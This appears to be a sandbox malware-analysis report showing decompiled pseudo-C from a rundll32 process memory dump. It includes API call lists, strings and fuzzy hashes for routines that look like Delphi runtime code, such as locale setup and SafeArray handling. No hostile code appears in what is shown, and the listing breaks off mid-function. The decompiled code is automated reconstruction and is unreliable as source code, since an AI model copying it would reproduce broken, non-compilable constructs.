Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: EntriesPalette$CapsDeviceRelease
String ID:
API String ID: 3128150645-0
Opcode ID: b7f7a36efba2308fceecfdf526c35b4daf70940b308e5cc06d5680f887ca8076
Instruction ID: 4d4f78b4b1a2e63249092d244e5d70757b345ad3006be95732a5f676ac2760b1
Opcode Fuzzy Hash: b7f7a36efba2308fceecfdf526c35b4daf70940b308e5cc06d5680f887ca8076
Instruction Fuzzy Hash: 3B11C431688744AEFB40DBE89C42F79BBE8E78A704F54C096F604DA2C1DA769445C720

Uniqueness

Uniqueness Score: -1.00%

Function 009DBC90 Relevance: 7.6, APIs: 5, Instructions: 50
threadCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E009DBC90(void* __esi, void* __eflags) {
				char _v8;
				intOrPtr* _t18;
				intOrPtr _t26;
				void* _t27;
				long _t29;
				intOrPtr _t32;
				void* _t33;

				_t33 = __eflags;
				_push(0);
				_push(_t32);
				_push(0x9dbd27);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				E009DBA08(GetThreadLocale(), 0x9dbd3c, 0x100b,  &_v8);
				_t29 = E009D8C68(0x9dbd3c, 1, _t33);
				if(_t29 + 0xfffffffd - 3 < 0) {
					EnumCalendarInfoA(E009DBBDC, GetThreadLocale(), _t29, 4);
					_t27 = 7;
					_t18 = 0xa9f770;
					do {
						 *_t18 = 0xffffffff;
						_t18 = _t18 + 4;
						_t27 = _t27 - 1;
					} while (_t27 != 0);
					EnumCalendarInfoA(E009DBC18, GetThreadLocale(), _t29, 3);
				}
				_pop(_t26);
				 *[fs:eax] = _t26;
				_push(0x9dbd2e);
				return E009D4228( &_v8);
			}

0x009dbc90
0x009dbc93
0x009dbc98
0x009dbc99
0x009dbc9e
0x009dbca1
0x009dbcb7
0x009dbcc9
0x009dbcd3
0x009dbce3
0x009dbce8
0x009dbced
0x009dbcf2
0x009dbcf2
0x009dbcf8
0x009dbcfb
0x009dbcfb
0x009dbd0c
0x009dbd0c
0x009dbd13
0x009dbd16
0x009dbd19
0x009dbd26

APIs

GetThreadLocale.KERNEL32(?,00000000,009DBD27,?,?,00000000), ref: 009DBCA8

Part of subcall function 009DBA08: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 009DBA26

GetThreadLocale.KERNEL32(00000000,00000004,00000000,009DBD27,?,?,00000000), ref: 009DBCD8
EnumCalendarInfoA.KERNEL32(Function_0000BBDC,00000000,00000000,00000004), ref: 009DBCE3
GetThreadLocale.KERNEL32(00000000,00000003,00000000,009DBD27,?,?,00000000), ref: 009DBD01
EnumCalendarInfoA.KERNEL32(Function_0000BC18,00000000,00000000,00000003), ref: 009DBD0C

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 0cbcc1f5b2723c77bcb0d0f46a4ab8ae7ad1cdb6675507a01eee3e3f6620d820
Instruction ID: d1c678fdff167ea063c64a0dad1cbb0c0a9ce7ac76b323cfb814dcb1e5f28206
Opcode Fuzzy Hash: 0cbcc1f5b2723c77bcb0d0f46a4ab8ae7ad1cdb6675507a01eee3e3f6620d820
Instruction Fuzzy Hash: B301F2713D0208AFE711A7B4CC03B6E729DDBC5B14F92C162F540AA7D1DB349E008264

Uniqueness

Uniqueness Score: -1.00%

Function 009DBD40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
threadCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E009DBD40(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				void* _t41;
				signed int _t45;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				signed int _t83;
				signed int _t92;
				intOrPtr _t111;
				void* _t122;
				void* _t124;
				intOrPtr _t127;
				void* _t128;

				_t128 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t122 = __edx;
				_t124 = __eax;
				_push(_t127);
				_push(0x9dbf0a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t127;
				_t92 = 1;
				E009D4228(__edx);
				E009DBA08(GetThreadLocale(), 0x9dbf20, 0x1009,  &_v12);
				if(E009D8C68(0x9dbf20, 1, _t128) + 0xfffffffd - 3 < 0) {
					while(1) {
						_t41 = E009D44E8(_t124);
						__eflags = _t92 - _t41;
						if(_t92 > _t41) {
							break;
						}
						__eflags =  *(_t124 + _t92 - 1) & 0x000000ff;
						asm("bt [0xa9c11c], eax");
						if(( *(_t124 + _t92 - 1) & 0x000000ff) >= 0) {
							_t45 = E009D92C8(_t124 + _t92 - 1, 2, 0x9dbf24);
							__eflags = _t45;
							if(_t45 != 0) {
								_t47 = E009D92C8(_t124 + _t92 - 1, 4, 0x9dbf34);
								__eflags = _t47;
								if(_t47 != 0) {
									_t49 = E009D92C8(_t124 + _t92 - 1, 2, 0x9dbf4c);
									__eflags = _t49;
									if(_t49 != 0) {
										_t51 =  *(_t124 + _t92 - 1) - 0x59;
										__eflags = _t51;
										if(_t51 == 0) {
											L24:
											E009D44F0(_t122, 0x9dbf64);
											L26:
											_t92 = _t92 + 1;
											__eflags = _t92;
											continue;
										}
										__eflags = _t51 != 0x20;
										if(_t51 != 0x20) {
											E009D4410();
											E009D44F0(_t122, _v24);
											goto L26;
										}
										goto L24;
									}
									E009D44F0(_t122, 0x9dbf58);
									_t92 = _t92 + 1;
									goto L26;
								}
								E009D44F0(_t122, 0x9dbf44);
								_t92 = _t92 + 3;
								goto L26;
							}
							E009D44F0(_t122, 0x9dbf30);
							_t92 = _t92 + 1;
							goto L26;
						}
						_v8 = E009DCDF8(_t124, _t92);
						E009D4748(_t124, _v8, _t92,  &_v20);
						E009D44F0(_t122, _v20);
						_t92 = _t92 + _v8;
					}
					L28:
					_pop(_t111);
					 *[fs:eax] = _t111;
					_push(0x9dbf11);
					return E009D424C( &_v24, 4);
				}
				_t75 =  *0xa9f748; // 0x9
				_t76 = _t75 - 4;
				if(_t76 == 0 || _t76 + 0xfffffff3 - 2 < 0) {
					_t77 = 1;
				} else {
					_t77 = 0;
				}
				if(_t77 == 0) {
					E009D427C(_t122, _t124);
				} else {
					while(_t92 <= E009D44E8(_t124)) {
						_t83 =  *(_t124 + _t92 - 1) - 0x47;
						__eflags = _t83;
						if(_t83 != 0) {
							__eflags = _t83 != 0x20;
							if(_t83 != 0x20) {
								E009D4410();
								E009D44F0(_t122, _v16);
							}
						}
						_t92 = _t92 + 1;
						__eflags = _t92;
					}
				}
			}

0x009dbd40
0x009dbd45
0x009dbd46
0x009dbd47
0x009dbd48
0x009dbd49
0x009dbd4d
0x009dbd4f
0x009dbd53
0x009dbd54
0x009dbd59
0x009dbd5c
0x009dbd5f
0x009dbd66
0x009dbd7e
0x009dbd96
0x009dbee0
0x009dbee2
0x009dbee7
0x009dbee9
0x00000000
0x00000000
0x009dbdff
0x009dbe04
0x009dbe0b
0x009dbe49
0x009dbe4e
0x009dbe50
0x009dbe6f
0x009dbe74
0x009dbe76
0x009dbe97
0x009dbe9c
0x009dbe9e
0x009dbeb3
0x009dbeb3
0x009dbeb5
0x009dbebb
0x009dbec2
0x009dbedf
0x009dbedf
0x009dbedf
0x00000000
0x009dbedf
0x009dbeb7
0x009dbeb9
0x009dbed0
0x009dbeda
0x00000000
0x009dbeda
0x00000000
0x009dbeb9
0x009dbea7
0x009dbeac
0x00000000
0x009dbeac
0x009dbe7f
0x009dbe84
0x00000000
0x009dbe84
0x009dbe59
0x009dbe5e
0x00000000
0x009dbe5e
0x009dbe16
0x009dbe24
0x009dbe2e
0x009dbe33
0x009dbe33
0x009dbeef
0x009dbef1
0x009dbef4
0x009dbef7
0x009dbf09
0x009dbf09
0x009dbd9c
0x009dbda1
0x009dbda4
0x009dbdb2
0x009dbdae
0x009dbdae
0x009dbdae
0x009dbdb6
0x009dbdf1
0x009dbdb8
0x009dbddd
0x009dbdbe
0x009dbdbe
0x009dbdc0
0x009dbdc2
0x009dbdc4
0x009dbdcd
0x009dbdd7
0x009dbdd7
0x009dbdc4
0x009dbddc
0x009dbddc
0x009dbddc
0x009dbde8

APIs

GetThreadLocale.KERNEL32(?,00000000,009DBF0A,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 009DBD6F

Part of subcall function 009DBA08: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 009DBA26

Strings

ggg, xrefs: 009DBE54
yyyy, xrefs: 009DBE61
eeee, xrefs: 009DBE7A

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 5b5aa05721c767764081b5e2e9d89242d95b6ddfb3adf6bcba2b2489e392d3fb
Instruction ID: d53328bcc187577951425b36aac633065fc31975b40763547f72f6b0007f4a9a
Opcode Fuzzy Hash: 5b5aa05721c767764081b5e2e9d89242d95b6ddfb3adf6bcba2b2489e392d3fb
Instruction Fuzzy Hash: 1D41C065784205CBC721FBB8D8923FEB3EADBC4304B66C527E591C7356DB349D028AA1

Uniqueness

Uniqueness Score: -1.00%

Function 009FE6F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146
windowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E009FE6F0(void* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _t46;
				int _t56;
				void* _t68;
				void* _t71;
				void* _t85;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t94;
				intOrPtr _t97;
				intOrPtr _t102;
				void* _t108;
				intOrPtr _t110;
				void* _t113;

				_v28 = 0;
				_t110 = __edx;
				_t85 = __eax;
				_push(_t113);
				_push(0x9fe8ce);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xffffffe8;
				if(__edx == 0) {
					L8:
					if( *((intOrPtr*)(_t85 + 0x20c)) == 0) {
						L12:
						if(_t110 != 0 &&  *((intOrPtr*)(_t110 + 0x30)) ==  *((intOrPtr*)(_t85 + 0x30))) {
							_t92 =  *0x9fdb18; // 0x9fdb64
							if(E009D3514(_t110, _t92) == 0) {
								_t93 =  *0xa9c0a0; // 0x0
								if(E009D3514(_t110, _t93) == 0) {
									_t94 =  *0xa9c0a0; // 0x0
									if(E009D3514(_t110, _t94) == 0 && E009FE6C0(E009D32C8(_t110), "TDBEdit") == 0 && E009FE6C0(E009D32C8(_t110), "TDBMemo") == 0) {
										_t46 = E00A21298(_t85);
										_t132 = _t46;
										if(_t46 != 0) {
											E009FE8FC(_t85, _t110, _t132);
											_t56 = E00A20FC0(_t110);
											SendMessageA(E00A20FC0(_t85), 0x469, _t56, 0);
										}
										 *((intOrPtr*)(_t85 + 0x20c)) = _t110;
										_t97 =  *0xa9c0a0; // 0x0
										if(E009D3514(_t110, _t97) != 0) {
											E009D8AF0( &_v28);
											E00A1A894(_t110, _t85, _v28, _t110);
										}
									}
								}
							}
						}
						_pop(_t91);
						 *[fs:eax] = _t91;
						_push(0x9fe8d5);
						return E009D4228( &_v28);
					}
					if(E00A21298(_t85) != 0) {
						SendMessageA(E00A20FC0(_t85), 0x469, 0, 0);
					}
					 *((intOrPtr*)(_t85 + 0x20c)) = 0;
					goto L12;
				}
				_t68 = E00A1DCF0( *((intOrPtr*)(__eax + 0x30))) - 1;
				if(_t68 >= 0) {
					_v8 = _t68 + 1;
					_t108 = 0;
					do {
						_t71 = E00A1DCB4( *((intOrPtr*)(_t85 + 0x30)), _t108);
						_t102 =  *0x9fdb18; // 0x9fdb64
						if(E009D3514(_t71, _t102) != 0 && _t85 != E00A1DCB4( *((intOrPtr*)(_t85 + 0x30)), _t108) && _t110 ==  *((intOrPtr*)(E00A1DCB4( *((intOrPtr*)(_t85 + 0x30)), _t108) + 0x20c))) {
							_v24 =  *((intOrPtr*)(_t110 + 8));
							_v20 = 0xb;
							_v16 =  *((intOrPtr*)(E00A1DCB4( *((intOrPtr*)(_t85 + 0x30)), _t108) + 8));
							_v12 = 0xb;
							_t89 =  *0xa9e5d4; // 0x9fd484
							E009DC2BC(_t85, _t89, 1, _t108, _t110, 1,  &_v24);
							E009D3BC0();
						}
						_t108 = _t108 + 1;
						_t16 =  &_v8;
						 *_t16 = _v8 - 1;
					} while ( *_t16 != 0);
				}
			}

0x009fe6fb
0x009fe6fe
0x009fe700
0x009fe704
0x009fe705
0x009fe70a
0x009fe70d
0x009fe712
0x009fe7a9
0x009fe7b0
0x009fe7db
0x009fe7dd
0x009fe7f1
0x009fe7fe
0x009fe806
0x009fe813
0x009fe81b
0x009fe828
0x009fe85a
0x009fe85f
0x009fe861
0x009fe867
0x009fe870
0x009fe883
0x009fe883
0x009fe888
0x009fe890
0x009fe89d
0x009fe8a9
0x009fe8b3
0x009fe8b3
0x009fe89d
0x009fe828
0x009fe813
0x009fe7fe
0x009fe8ba
0x009fe8bd
0x009fe8c0
0x009fe8cd
0x009fe8cd
0x009fe7bb
0x009fe7ce
0x009fe7ce
0x009fe7d5
0x00000000
0x009fe7d5
0x009fe720
0x009fe723
0x009fe72a
0x009fe72d
0x009fe72f
0x009fe734
0x009fe739
0x009fe746
0x009fe76b
0x009fe76e
0x009fe77f
0x009fe782
0x009fe78c
0x009fe799
0x009fe79e
0x009fe79e
0x009fe7a3
0x009fe7a4
0x009fe7a4
0x009fe7a4
0x009fe72f

APIs

SendMessageA.USER32 ref: 009FE7CE
SendMessageA.USER32 ref: 009FE883

Strings

TDBEdit, xrefs: 009FE835
TDBMemo, xrefs: 009FE84A

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: MessageSend
String ID: TDBEdit$TDBMemo
API String ID: 3850602802-2833401046
Opcode ID: 77520429467dc0580cbd62f646cd4889df75a3dca5a5b0dd90dc0d706ed9ecda
Instruction ID: 1b186e4f3f0050607ade067f43446e87aed9a3fc6430ed2e8cb4312d1b394cba
Opcode Fuzzy Hash: 77520429467dc0580cbd62f646cd4889df75a3dca5a5b0dd90dc0d706ed9ecda
Instruction Fuzzy Hash: 1E415E70B142189BDB10FF68D982B7E73A9AF81B50F508472F900EB367DA70DD428791

Uniqueness

Uniqueness Score: -1.00%

Function 009DD820 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E009DD820() {
				_Unknown_base(*)()* _t1;
				struct HINSTANCE__* _t3;

				_t1 = GetModuleHandleA("kernel32.dll");
				_t3 = _t1;
				if(_t3 != 0) {
					_t1 = GetProcAddress(_t3, "GetDiskFreeSpaceExA");
					 *0xa9c140 = _t1;
				}
				if( *0xa9c140 == 0) {
					 *0xa9c140 = E009D9114;
					return E009D9114;
				}
				return _t1;
			}

0x009dd826
0x009dd82b
0x009dd82f
0x009dd837
0x009dd83c
0x009dd83c
0x009dd848
0x009dd84f
0x00000000
0x009dd84f
0x009dd855

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,009DE289,00000000,009DE29C), ref: 009DD826
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 009DD837

Strings

GetDiskFreeSpaceExA, xrefs: 009DD831
kernel32.dll, xrefs: 009DD821

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: ce76d12f041ecd98be29259587e8e7c7f408f274b8be0831d9d28c362efed6db
Instruction ID: 4fe8bc9994e24eb241a9dc1bae3468c048d4869517267cf618d7f2250fc76ea3
Opcode Fuzzy Hash: ce76d12f041ecd98be29259587e8e7c7f408f274b8be0831d9d28c362efed6db
Instruction Fuzzy Hash: 1CD0C7707C17855BDF21EBEDACC572121BDE790725B60823BE005573A3DBB44805E614

Uniqueness

Uniqueness Score: -1.00%

Function 009DF89C Relevance: 6.1, APIs: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E009DF89C(intOrPtr* __eax) {
				char _v260;
				char _v768;
				char _v772;
				intOrPtr* _v776;
				signed short* _v780;
				char _v784;
				signed int _v788;
				char _v792;
				intOrPtr* _v796;
				signed char _t43;
				intOrPtr* _t60;
				void* _t79;
				void* _t81;
				void* _t84;
				void* _t85;
				intOrPtr* _t92;
				void* _t96;
				char* _t97;
				void* _t98;

				_v776 = __eax;
				if(( *(_v776 + 1) & 0x00000020) == 0) {
					E009DF6E4(0x80070057);
				}
				_t43 =  *_v776;
				if((_t43 & 0x00000fff) == 0xc) {
					if((_t43 & 0x00000040) == 0) {
						_v780 =  *((intOrPtr*)(_v776 + 8));
					} else {
						_v780 =  *((intOrPtr*)( *((intOrPtr*)(_v776 + 8))));
					}
					_v788 =  *_v780 & 0x0000ffff;
					_t79 = _v788 - 1;
					if(_t79 >= 0) {
						_t85 = _t79 + 1;
						_t96 = 0;
						_t97 =  &_v772;
						do {
							_v796 = _t97;
							_push(_v796 + 4);
							_t22 = _t96 + 1; // 0x1
							_push(_v780);
							L009DE760();
							E009DF6E4(_v780);
							_push( &_v784);
							_t25 = _t96 + 1; // 0x1
							_push(_v780);
							L009DE768();
							E009DF6E4(_v780);
							 *_v796 = _v784 -  *((intOrPtr*)(_v796 + 4)) + 1;
							_t96 = _t96 + 1;
							_t97 = _t97 + 8;
							_t85 = _t85 - 1;
						} while (_t85 != 0);
					}
					_t81 = _v788 - 1;
					if(_t81 >= 0) {
						_t84 = _t81 + 1;
						_t60 =  &_v768;
						_t92 =  &_v260;
						do {
							 *_t92 =  *_t60;
							_t92 = _t92 + 4;
							_t60 = _t60 + 8;
							_t84 = _t84 - 1;
						} while (_t84 != 0);
						do {
							goto L12;
						} while (E009DF840(_t83, _t98) != 0);
						goto L15;
					}
					L12:
					_t83 = _v788 - 1;
					if(E009DF810(_v788 - 1, _t98) != 0) {
						_push( &_v792);
						_push( &_v260);
						_push(_v780);
						L009DE790();
						E009DF6E4(_v780);
						E009DFA94(_v792);
					}
				}
				L15:
				_push(_v776);
				L009DE2F4();
				return E009DF6E4(_v776);
			}

0x009df8a8
0x009df8b8
0x009df8bf
0x009df8bf
0x009df8ca
0x009df8d8
0x009df8e7
0x009df905
0x009df8e9
0x009df8f4
0x009df8f4
0x009df914
0x009df920
0x009df923
0x009df925
0x009df926
0x009df928
0x009df92e
0x009df930
0x009df93f
0x009df940
0x009df94a
0x009df94b
0x009df950
0x009df95b
0x009df95c
0x009df966
0x009df967
0x009df96c
0x009df987
0x009df989
0x009df98a
0x009df98d
0x009df98d
0x009df92e
0x009df996
0x009df999
0x009df99b
0x009df99c
0x009df9a2
0x009df9a8
0x009df9aa
0x009df9ac
0x009df9af
0x009df9b2
0x009df9b2
0x009df9b5
0x00000000
0x00000000
0x00000000
0x009df9b5
0x009df9b5
0x009df9bc
0x009df9c7
0x009df9cf
0x009df9d6
0x009df9dd
0x009df9de
0x009df9e3
0x009df9ee
0x009df9ee
0x009df9fc
0x009dfa00
0x009dfa06
0x009dfa07
0x009dfa17

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 009DF94B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 009DF967
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 009DF9DE
VariantClear.OLEAUT32(?), ref: 009DFA07

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 606e87adaf89f2c46ebcbd9362d1b5640fbca68e444a53fe52eb81bedf211c8f
Instruction ID: 7e43f1418ec12dc06c169db2f90c80ffcde79b8c199d8a26542bd70b99d8fe8a
Opcode Fuzzy Hash: 606e87adaf89f2c46ebcbd9362d1b5640fbca68e444a53fe52eb81bedf211c8f
Instruction Fuzzy Hash: B741FB79A4061D9FCB61DF58C8A1BC9B3BCAF59310F0081E6E54AE7312DA34AF808F54

Uniqueness

Uniqueness Score: -1.00%

Function 009DBF74 Relevance: 6.1, APIs: 4, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009DBF74(intOrPtr* __eax, intOrPtr __ecx, void* __edx, void* __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v273;
				char _v534;
				char _v790;
				struct _MEMORY_BASIC_INFORMATION _v820;
				char _v824;
				intOrPtr _v828;
				char _v832;
				intOrPtr _v836;
				char _v840;
				intOrPtr _v844;
				char _v848;
				char* _v852;
				char _v856;
				char _v860;
				char _v1116;
				void* __edi;
				struct HINSTANCE__* _t40;
				intOrPtr _t51;
				struct HINSTANCE__* _t53;
				void* _t69;
				void* _t73;
				intOrPtr _t74;
				intOrPtr _t83;
				intOrPtr _t86;
				intOrPtr* _t87;
				void* _t93;

				_t93 = __fp0;
				_v8 = __ecx;
				_t73 = __edx;
				_t87 = __eax;
				VirtualQuery(__edx,  &_v820, 0x1c);
				if(_v820.State != 0x1000 || GetModuleFileNameA(_v820.AllocationBase,  &_v534, 0x105) == 0) {
					_t40 =  *0xa9f668; // 0x9d0000
					GetModuleFileNameA(_t40,  &_v534, 0x105);
					_v12 = E009DBF68(_t73);
				} else {
					_v12 = _t73 - _v820.AllocationBase;
				}
				E009D91EC( &_v273, 0x104, E009DCFBC(0x5c) + 1);
				_t74 = 0x9dc0f4;
				_t86 = 0x9dc0f4;
				_t83 =  *0x9d7b08; // 0x9d7b54
				if(E009D3514(_t87, _t83) != 0) {
					_t74 = E009D46E8( *((intOrPtr*)(_t87 + 4)));
					_t69 = E009D9188(_t74, 0x9dc0f4);
					if(_t69 != 0 &&  *((char*)(_t74 + _t69 - 1)) != 0x2e) {
						_t86 = 0x9dc0f8;
					}
				}
				_t51 =  *0xa9e5f4; // 0x9d7898
				_t16 = _t51 + 4; // 0xffec
				_t53 =  *0xa9f668; // 0x9d0000
				LoadStringA(E009D5A00(_t53),  *_t16,  &_v790, 0x100);
				E009D32D0( *_t87,  &_v1116);
				_v860 =  &_v1116;
				_v856 = 4;
				_v852 =  &_v273;
				_v848 = 6;
				_v844 = _v12;
				_v840 = 5;
				_v836 = _t74;
				_v832 = 6;
				_v828 = _t86;
				_v824 = 6;
				E009D9810(_v8,  &_v790, _a4, _t93, 4,  &_v860);
				return E009D9188(_v8, _t86);
			}

0x009dbf74
0x009dbf80
0x009dbf83
0x009dbf85
0x009dbf91
0x009dbfa0
0x009dbfca
0x009dbfd0
0x009dbfdc
0x009dbfe1
0x009dbfe7
0x009dbfe7
0x009dc005
0x009dc00a
0x009dc00f
0x009dc016
0x009dc023
0x009dc02d
0x009dc031
0x009dc038
0x009dc041
0x009dc041
0x009dc038
0x009dc052
0x009dc057
0x009dc05b
0x009dc066
0x009dc073
0x009dc07e
0x009dc084
0x009dc091
0x009dc097
0x009dc0a1
0x009dc0a7
0x009dc0ae
0x009dc0b4
0x009dc0bb
0x009dc0c1
0x009dc0dd
0x009dc0f0

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 009DBF91
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 009DBFB5
GetModuleFileNameA.KERNEL32(009D0000,?,00000105), ref: 009DBFD0
LoadStringA.USER32 ref: 009DC066

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: a32b46292dd4532cd06f1a91c0b9152ff273e0ed0f7818c5f4a84fa7953c0270
Instruction ID: 949929ea74234e5487955f31b1d87a233510ff9598aad1520ed447faad6b5d06
Opcode Fuzzy Hash: a32b46292dd4532cd06f1a91c0b9152ff273e0ed0f7818c5f4a84fa7953c0270
Instruction Fuzzy Hash: 5B413B70A842589BCB21EBA8CD85BDAB7FDAB48300F4080E7A548E7352D7759F84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 009DD110 Relevance: 6.1, APIs: 4, Instructions: 95
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E009DD110() {
				char _v152;
				short _v410;
				signed short _t14;
				signed int _t16;
				int _t18;
				void* _t20;
				void* _t23;
				int _t24;
				int _t26;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t37;
				int* _t39;
				short* _t41;
				void* _t49;

				 *0xa9f744 = 0x409;
				 *0xa9f748 = 9;
				 *0xa9f74c = 1;
				_t14 = GetThreadLocale();
				if(_t14 != 0) {
					 *0xa9f744 = _t14;
				}
				if(_t14 != 0) {
					 *0xa9f748 = _t14 & 0x3ff;
					 *0xa9f74c = (_t14 & 0x0000ffff) >> 0xa;
				}
				memcpy(0xa9c11c, 0x9dd264, 8 << 2);
				if( *0xa9c0d4 != 2) {
					_t16 = GetSystemMetrics(0x4a);
					__eflags = _t16;
					 *0xa9f751 = _t16 & 0xffffff00 | _t16 != 0x00000000;
					_t18 = GetSystemMetrics(0x2a);
					__eflags = _t18;
					_t31 = _t30 & 0xffffff00 | _t18 != 0x00000000;
					 *0xa9f750 = _t31;
					__eflags = _t31;
					if(__eflags != 0) {
						return E009DD098(__eflags, _t49);
					}
				} else {
					_t20 = E009DD0F8();
					if(_t20 != 0) {
						 *0xa9f751 = 0;
						 *0xa9f750 = 0;
						return _t20;
					}
					E009DD098(__eflags, _t49);
					_t37 = 0x20;
					_t23 = E009D2EB8(0xa9c11c, 0x20, 0x9dd264);
					_t32 = _t30 & 0xffffff00 | __eflags != 0x00000000;
					 *0xa9f750 = _t32;
					__eflags = _t32;
					if(_t32 != 0) {
						 *0xa9f751 = 0;
						return _t23;
					}
					_t24 = 0x80;
					_t39 =  &_v152;
					do {
						 *_t39 = _t24;
						_t24 = _t24 + 1;
						_t39 =  &(_t39[0]);
						__eflags = _t24 - 0x100;
					} while (_t24 != 0x100);
					_t26 =  *0xa9f744; // 0x409
					GetStringTypeA(_t26, 2,  &_v152, 0x80,  &_v410);
					_t18 = 0x80;
					_t41 =  &_v410;
					while(1) {
						__eflags =  *_t41 - 2;
						_t37 = _t37 & 0xffffff00 |  *_t41 == 0x00000002;
						 *0xa9f751 = _t37;
						__eflags = _t37;
						if(_t37 != 0) {
							goto L17;
						}
